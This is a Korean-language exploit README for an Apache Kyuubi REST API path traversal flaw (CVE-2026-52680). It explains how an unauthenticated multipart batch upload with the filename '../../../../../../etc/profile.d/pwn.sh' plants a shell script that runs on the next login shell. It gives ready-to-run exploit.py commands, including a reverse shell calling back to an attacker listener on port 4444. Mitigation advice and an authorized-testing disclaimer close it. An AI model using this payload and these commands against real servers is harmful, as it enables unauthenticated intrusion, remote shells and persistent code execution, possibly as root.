
Apache Kyuubi 경로 탐색(CVE-2026-52680) 익스플로잇으로, profile.d 셸 스크립트를 통해 인증 없는 임의 파일 쓰기 및 코드 실행을 달성합니다.
Apache Kyuubi의 REST API에서 multipart 배치 제출 엔드포인트를 통해 발생하는 인증되지 않은 임의 파일 쓰기 취약점입니다.
POST /api/v1/batches (multipart/form-data)는 resourceFile 파트를 클라이언트가 제공한 파일명을 사용해 경로 탐색 검사 없이 $KYUUBI_HOME/work/upload/<batchId>/에 기록합니다 (kyuubi-common의 Utils.writeToTempFile):
val filePath = Paths.get(dir.toString, s"$prefix-$identifier$suffix") // no normalize()/containment
Files.copy(source, filePath, StandardCopyOption.REPLACE_EXISTING)
../ 파일명은 업로드 디렉터리를 벗어나 Kyuubi 프로세스 사용자 권한으로 임의 디렉터리 파일 쓰기(CWE-22)가 가능해집니다. Kyuubi는 기본적으로 kyuubi.authentication=NONE을 사용하므로 해당 엔드포인트는 인증 없이 접근 가능합니다.
1.7.0 – 1.11.11.12.0 (filePath.normalize().startsWith(dir.normalize()) 포함 검사 추가)10099 (REST 프론트엔드, authentication=NONE일 때 인증 없음)writeToTempFile는 확장자 앞에 -<yyyyMMddHHmmss>-<counter>를 삽입하므로 대상 디렉터리, 확장자, 내용은 제어할 수 있지만 정확한 기본 파일명은 제어할 수 없습니다. 이 때문에 정확한 이름으로 덮어쓰는 공격(~/.ssh/authorized_keys, /etc/crontab, ~/.bashrc)은 불가능합니다 — 대신 glob 방식으로 실행되는 위치를 노리세요.
이 익스플로잇은 /etc/profile.d/pwn.sh를 생성합니다 → /etc/profile.d/pwn-<ts>-<n>.sh로 저장되며, 이 파일은 여전히 /etc/profile.d/*.sh 패턴에 매칭되어 모든 로그인 셸에서 소싱(실행 비트 불필요)됩니다. 로그인 셸을 여는 사용자 권한으로 실행되며, Kyuubi가 root로 실행 중이고 root 로그인이 발생하면(예: ssh root@host, su -, cron의 bash -lc) root 권한으로 실행됩니다.
Python 3 표준 라이브러리만 필요 — 추가 의존성 없음.
# reverse shell (start a listener first: nc -lvnp 4444). Fires on the next login shell.
python3 exploit.py http://10.10.10.10:10099/ --shell 10.10.14.5:4444
# blind command
python3 exploit.py http://10.10.10.10:10099/ -c 'id > /tmp/pwned'
Spark 백엔드가 없으면 업로드는 HTTP 500(Error opening batch session)을 반환합니다 — 이는 정상적이고 무해합니다. 파일은 배치가 실행되기 전에 기록되기 때문입니다.
두 개의 multipart 파트:
batchRequest (JSON) {"batchType":"SPARK","resource":"x","className":"x","name":"pwn"} — 검증을 통과하고 업로드 싱크에 도달하기 위한 최소한의 유효한 BatchRequest.resourceFile, 파일명 ../../../../../../etc/profile.d/pwn.sh, 본문 = 페이로드. Kyuubi는 이 파일을 (기본 파일명이 변형된 채) /etc/profile.d/pwn-<ts>-<n>.sh로 기록합니다.그런 다음 로그인 셸이 /etc/profile.d/*.sh를 소싱하여 페이로드를 실행합니다.
curl -s http://10.10.10.10:10099/api/v1/ping # Kyuubi REST responds (no auth)
포트 10099에서 authentication=NONE으로 실행 중인 Kyuubi REST 프론트엔드는 공격에 취약합니다.
Apache Kyuubi ≥ 1.12.0으로 업그레이드하고, 인증(kyuubi.authentication)을 활성화하며, REST 게이트웨이를 신뢰할 수 없는 네트워크에 노출하지 말고, Kyuubi를 root로 실행하지 마세요.
승인된 보안 테스트 및 교육 목적으로만 사용하세요. 소유하고 있거나 명시적 테스트 권한이 있는 시스템에 대해서만 사용하십시오.